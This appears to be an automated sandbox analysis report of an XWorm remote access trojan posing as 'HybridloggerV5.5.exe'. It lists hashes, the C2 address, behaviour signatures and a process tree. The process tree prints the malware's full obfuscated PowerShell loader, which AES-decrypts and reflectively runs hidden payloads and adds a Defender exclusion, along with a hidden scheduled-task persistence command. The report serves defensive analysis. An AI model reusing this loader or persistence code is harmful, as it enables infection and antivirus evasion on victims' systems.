xworm | 9be892fdf9ada41f19c410d1a6510fda9839fc849dc9a69ff292a6b89fe240e7

Resubmissions

22-01-2025 00:02

250122-abvbvaxpht 10

21-01-2025 23:59

250121-318jzsyjfq 10

Analysis

max time kernel
79s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
22-01-2025 00:02

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General

Target

HybridloggerV5.5.exe
Size

937KB
MD5

c9314841cdbf8522e9ee925039d3bfb7
SHA1

1b851459626862fdae6bdc0dd30aadf7a0f905ee
SHA256

9be892fdf9ada41f19c410d1a6510fda9839fc849dc9a69ff292a6b89fe240e7
SHA512

fb6e8ed3ccae472e19b95f9a1a08968fea7a6457b8d30a35d5f49f466fdf34d321c4cc0d427e753a9063d88456277e8c1d592c5ec1413c96593938b4be778bd0
SSDEEP

24576:61P4yldcwy+Q4sUTB95/MbGkR/ntFdHZknwaIZ1cSsDrM:YP4yj4+Q4sUTB95/MbGkfFdmnwanpM

Score

10^/10

xworm discovery execution rat trojan

Malware Config

Extracted

Family

xworm

193.161.193.99:24469

Attributes

Install_directory
%Temp%
install_file
USB.exe

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/5020-53-0x000001FBFDE10000-0x000001FBFDE26000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 8 IoCs

flow	pid	Process
17	5020	powershell.exe
27	5020	powershell.exe
28	5020	powershell.exe
42	5020	powershell.exe
43	5020	powershell.exe
44	5020	powershell.exe
50	5020	powershell.exe
89	5020	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3620	powershell.exe
5020	powershell.exe
3980	powershell.exe
3980	powershell.exe
5020	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	HybridloggerV5.5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSystem.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSystem.lnk	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
16	ip-api.com

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000_Classes\Local Settings	powershell.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3980	powershell.exe
3980	powershell.exe
3620	powershell.exe
3620	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5020	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 10 IoCs

pid	Process
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3980	powershell.exe
Token: SeDebugPrivilege	3620	powershell.exe
Token: SeIncreaseQuotaPrivilege	3620	powershell.exe
Token: SeSecurityPrivilege	3620	powershell.exe
Token: SeTakeOwnershipPrivilege	3620	powershell.exe
Token: SeLoadDriverPrivilege	3620	powershell.exe
Token: SeSystemProfilePrivilege	3620	powershell.exe
Token: SeSystemtimePrivilege	3620	powershell.exe
Token: SeProfSingleProcessPrivilege	3620	powershell.exe
Token: SeIncBasePriorityPrivilege	3620	powershell.exe
Token: SeCreatePagefilePrivilege	3620	powershell.exe
Token: SeBackupPrivilege	3620	powershell.exe
Token: SeRestorePrivilege	3620	powershell.exe
Token: SeShutdownPrivilege	3620	powershell.exe
Token: SeDebugPrivilege	3620	powershell.exe
Token: SeSystemEnvironmentPrivilege	3620	powershell.exe
Token: SeRemoteShutdownPrivilege	3620	powershell.exe
Token: SeUndockPrivilege	3620	powershell.exe
Token: SeManageVolumePrivilege	3620	powershell.exe
Token: 33	3620	powershell.exe
Token: 34	3620	powershell.exe
Token: 35	3620	powershell.exe
Token: 36	3620	powershell.exe
Token: SeIncreaseQuotaPrivilege	3620	powershell.exe
Token: SeSecurityPrivilege	3620	powershell.exe
Token: SeTakeOwnershipPrivilege	3620	powershell.exe
Token: SeLoadDriverPrivilege	3620	powershell.exe
Token: SeSystemProfilePrivilege	3620	powershell.exe
Token: SeSystemtimePrivilege	3620	powershell.exe
Token: SeProfSingleProcessPrivilege	3620	powershell.exe
Token: SeIncBasePriorityPrivilege	3620	powershell.exe
Token: SeCreatePagefilePrivilege	3620	powershell.exe
Token: SeBackupPrivilege	3620	powershell.exe
Token: SeRestorePrivilege	3620	powershell.exe
Token: SeShutdownPrivilege	3620	powershell.exe
Token: SeDebugPrivilege	3620	powershell.exe
Token: SeSystemEnvironmentPrivilege	3620	powershell.exe
Token: SeRemoteShutdownPrivilege	3620	powershell.exe
Token: SeUndockPrivilege	3620	powershell.exe
Token: SeManageVolumePrivilege	3620	powershell.exe
Token: 33	3620	powershell.exe
Token: 34	3620	powershell.exe
Token: 35	3620	powershell.exe
Token: 36	3620	powershell.exe
Token: SeIncreaseQuotaPrivilege	3620	powershell.exe
Token: SeSecurityPrivilege	3620	powershell.exe
Token: SeTakeOwnershipPrivilege	3620	powershell.exe
Token: SeLoadDriverPrivilege	3620	powershell.exe
Token: SeSystemProfilePrivilege	3620	powershell.exe
Token: SeSystemtimePrivilege	3620	powershell.exe
Token: SeProfSingleProcessPrivilege	3620	powershell.exe
Token: SeIncBasePriorityPrivilege	3620	powershell.exe
Token: SeCreatePagefilePrivilege	3620	powershell.exe
Token: SeBackupPrivilege	3620	powershell.exe
Token: SeRestorePrivilege	3620	powershell.exe
Token: SeShutdownPrivilege	3620	powershell.exe
Token: SeDebugPrivilege	3620	powershell.exe
Token: SeSystemEnvironmentPrivilege	3620	powershell.exe
Token: SeRemoteShutdownPrivilege	3620	powershell.exe
Token: SeUndockPrivilege	3620	powershell.exe
Token: SeManageVolumePrivilege	3620	powershell.exe
Token: 33	3620	powershell.exe
Token: 34	3620	powershell.exe
Token: 35	3620	powershell.exe

Suspicious use of FindShellTrayWindow 25 IoCs

pid	Process
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe
1764	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5020	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1432 wrote to memory of 4468	1432	HybridloggerV5.5.exe	82
PID 1432 wrote to memory of 4468	1432	HybridloggerV5.5.exe	82
PID 1432 wrote to memory of 4796	1432	HybridloggerV5.5.exe	83
PID 1432 wrote to memory of 4796	1432	HybridloggerV5.5.exe	83
PID 4468 wrote to memory of 648	4468	cmd.exe	86
PID 4468 wrote to memory of 648	4468	cmd.exe	86
PID 4796 wrote to memory of 2152	4796	cmd.exe	87
PID 4796 wrote to memory of 2152	4796	cmd.exe	87
PID 2152 wrote to memory of 3764	2152	net.exe	88
PID 2152 wrote to memory of 3764	2152	net.exe	88
PID 4796 wrote to memory of 3980	4796	cmd.exe	89
PID 4796 wrote to memory of 3980	4796	cmd.exe	89
PID 3980 wrote to memory of 3620	3980	powershell.exe	91
PID 3980 wrote to memory of 3620	3980	powershell.exe	91
PID 3980 wrote to memory of 4252	3980	powershell.exe	96
PID 3980 wrote to memory of 4252	3980	powershell.exe	96
PID 4252 wrote to memory of 964	4252	WScript.exe	97
PID 4252 wrote to memory of 964	4252	WScript.exe	97
PID 964 wrote to memory of 4600	964	cmd.exe	99
PID 964 wrote to memory of 4600	964	cmd.exe	99
PID 4600 wrote to memory of 2768	4600	net.exe	100
PID 4600 wrote to memory of 2768	4600	net.exe	100
PID 964 wrote to memory of 5020	964	cmd.exe	102
PID 964 wrote to memory of 5020	964	cmd.exe	102
PID 4468 wrote to memory of 1372	4468	cmd.exe	106
PID 4468 wrote to memory of 1372	4468	cmd.exe	106
PID 4468 wrote to memory of 1740	4468	cmd.exe	107
PID 4468 wrote to memory of 1740	4468	cmd.exe	107
PID 4468 wrote to memory of 4316	4468	cmd.exe	108
PID 4468 wrote to memory of 4316	4468	cmd.exe	108
PID 4468 wrote to memory of 1960	4468	cmd.exe	109
PID 4468 wrote to memory of 1960	4468	cmd.exe	109
PID 4468 wrote to memory of 2460	4468	cmd.exe	112
PID 4468 wrote to memory of 2460	4468	cmd.exe	112
PID 4468 wrote to memory of 2076	4468	cmd.exe	113
PID 4468 wrote to memory of 2076	4468	cmd.exe	113
PID 1764 wrote to memory of 1340	1764	msedge.exe	116
PID 1764 wrote to memory of 1340	1764	msedge.exe	116
PID 1764 wrote to memory of 1244	1764	msedge.exe	117
PID 1764 wrote to memory of 1244	1764	msedge.exe	117
PID 1764 wrote to memory of 1244	1764	msedge.exe	117
PID 1764 wrote to memory of 1244	1764	msedge.exe	117
PID 1764 wrote to memory of 1244	1764	msedge.exe	117
PID 1764 wrote to memory of 1244	1764	msedge.exe	117
PID 1764 wrote to memory of 1244	1764	msedge.exe	117
PID 1764 wrote to memory of 1244	1764	msedge.exe	117
PID 1764 wrote to memory of 1244	1764	msedge.exe	117
PID 1764 wrote to memory of 1244	1764	msedge.exe	117
PID 1764 wrote to memory of 1244	1764	msedge.exe	117
PID 1764 wrote to memory of 1244	1764	msedge.exe	117
PID 1764 wrote to memory of 1244	1764	msedge.exe	117
PID 1764 wrote to memory of 1244	1764	msedge.exe	117
PID 1764 wrote to memory of 1244	1764	msedge.exe	117
PID 1764 wrote to memory of 1244	1764	msedge.exe	117
PID 1764 wrote to memory of 1244	1764	msedge.exe	117
PID 1764 wrote to memory of 1244	1764	msedge.exe	117
PID 1764 wrote to memory of 1244	1764	msedge.exe	117
PID 1764 wrote to memory of 1244	1764	msedge.exe	117
PID 1764 wrote to memory of 1244	1764	msedge.exe	117
PID 1764 wrote to memory of 1244	1764	msedge.exe	117
PID 1764 wrote to memory of 1244	1764	msedge.exe	117
PID 1764 wrote to memory of 1244	1764	msedge.exe	117
PID 1764 wrote to memory of 1244	1764	msedge.exe	117
PID 1764 wrote to memory of 1244	1764	msedge.exe	117

C:\Users\Admin\AppData\Local\Temp\HybridloggerV5.5.exe
"C:\Users\Admin\AppData\Local\Temp\HybridloggerV5.5.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1432
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\HybridLoggerFixed.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4468
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:648
- - C:\Windows\system32\findstr.exe
    findstr /C:"trey" banned_users.txt
    3⤵
    PID:1372
- - C:\Windows\system32\findstr.exe
    findstr /C:"trey gang" users.txt
    3⤵
    PID:1740
- - C:\Windows\system32\findstr.exe
    findstr /C:"EXI" banned_users.txt
    3⤵
    PID:4316
- - C:\Windows\system32\findstr.exe
    findstr /C:"EXI gang" users.txt
    3⤵
    PID:1960
- - C:\Windows\system32\findstr.exe
    findstr /C:"trey" banned_users.txt
    3⤵
    PID:2460
- - C:\Windows\system32\findstr.exe
    findstr /C:"trey gang" users.txt
    3⤵
    PID:2076
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\HybridloggerV5.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4796
- - C:\Windows\system32\net.exe
    net file
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2152
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 file
      4⤵
      PID:3764
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tzbNpPr1z3nGvgbpSokBMPfW5jnpdEOgrRJQ/JKp40o='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('WGsJ0QdC6jC+sSlmc6qolg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $HpRNZ=New-Object System.IO.MemoryStream(,$param_var); $zCfEW=New-Object System.IO.MemoryStream; $OjVcm=New-Object System.IO.Compression.GZipStream($HpRNZ, [IO.Compression.CompressionMode]::Decompress); $OjVcm.CopyTo($zCfEW); $OjVcm.Dispose(); $HpRNZ.Dispose(); $zCfEW.Dispose(); $zCfEW.ToArray();}function execute_function($param_var,$param2_var){ $buZKU=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xpTey=$buZKU.EntryPoint; $xpTey.Invoke($null, $param2_var);}function Add-DefenderExclusion($path_var){ try { Add-MpPreference -ExclusionPath $path_var; } catch { }}$oovly = 'C:\Users\Admin\AppData\Local\Temp\HybridloggerV5.bat';$host.UI.RawUI.WindowTitle = $oovly;$ywjFO=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($oovly).Split([Environment]::NewLine);foreach ($ANKGG in $ywjFO) { if ($ANKGG.StartsWith(':: ')) { $oFhCt=$ANKGG.Substring(3); break; }}$payloads_var=[string[]]$oFhCt.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));Add-DefenderExclusion $oovly;execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3980
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_661_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_661.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3620
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_661.vbs"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:4252
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_661.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:964
      - C:\Windows\system32\net.exe
        
        net file
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4600
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 file
        7⤵
        
        PID:2768
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tzbNpPr1z3nGvgbpSokBMPfW5jnpdEOgrRJQ/JKp40o='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('WGsJ0QdC6jC+sSlmc6qolg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $HpRNZ=New-Object System.IO.MemoryStream(,$param_var); $zCfEW=New-Object System.IO.MemoryStream; $OjVcm=New-Object System.IO.Compression.GZipStream($HpRNZ, [IO.Compression.CompressionMode]::Decompress); $OjVcm.CopyTo($zCfEW); $OjVcm.Dispose(); $HpRNZ.Dispose(); $zCfEW.Dispose(); $zCfEW.ToArray();}function execute_function($param_var,$param2_var){ $buZKU=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xpTey=$buZKU.EntryPoint; $xpTey.Invoke($null, $param2_var);}function Add-DefenderExclusion($path_var){ try { Add-MpPreference -ExclusionPath $path_var; } catch { }}$oovly = 'C:\Users\Admin\AppData\Roaming\startup_str_661.bat';$host.UI.RawUI.WindowTitle = $oovly;$ywjFO=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($oovly).Split([Environment]::NewLine);foreach ($ANKGG in $ywjFO) { if ($ANKGG.StartsWith(':: ')) { $oFhCt=$ANKGG.Substring(3); break; }}$payloads_var=[string[]]$oFhCt.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));Add-DefenderExclusion $oovly;execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Drops startup file
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of SetWindowsHookEx
        
        PID:5020

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default
1⤵
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1764
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ff97d1046f8,0x7ff97d104708,0x7ff97d104718
  2⤵
  PID:1340
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1980,17216799169940506804,3865302348952935018,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2068 /prefetch:2
  2⤵
  PID:1244
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1980,17216799169940506804,3865302348952935018,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2216 /prefetch:3
  2⤵
  PID:1908
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1980,17216799169940506804,3865302348952935018,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2756 /prefetch:8
  2⤵
  PID:4252
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1980,17216799169940506804,3865302348952935018,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3400 /prefetch:1
  2⤵
  PID:2688
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1980,17216799169940506804,3865302348952935018,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3408 /prefetch:1
  2⤵
  PID:3616
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1980,17216799169940506804,3865302348952935018,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4148 /prefetch:1
  2⤵
  PID:680
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1980,17216799169940506804,3865302348952935018,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4684 /prefetch:1
  2⤵
  PID:1128
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1980,17216799169940506804,3865302348952935018,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3436 /prefetch:1
  2⤵
  PID:2084
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1980,17216799169940506804,3865302348952935018,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4732 /prefetch:1
  2⤵
  PID:2736
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1980,17216799169940506804,3865302348952935018,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4128 /prefetch:1
  2⤵
  PID:2116
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1980,17216799169940506804,3865302348952935018,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3584 /prefetch:1
  2⤵
  PID:3880
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1980,17216799169940506804,3865302348952935018,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5624 /prefetch:1
  2⤵
  PID:4564
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1980,17216799169940506804,3865302348952935018,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5720 /prefetch:1
  2⤵
  PID:1128
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1980,17216799169940506804,3865302348952935018,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5676 /prefetch:8
  2⤵
  PID:224
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1980,17216799169940506804,3865302348952935018,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5676 /prefetch:8
  2⤵
  PID:1032
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
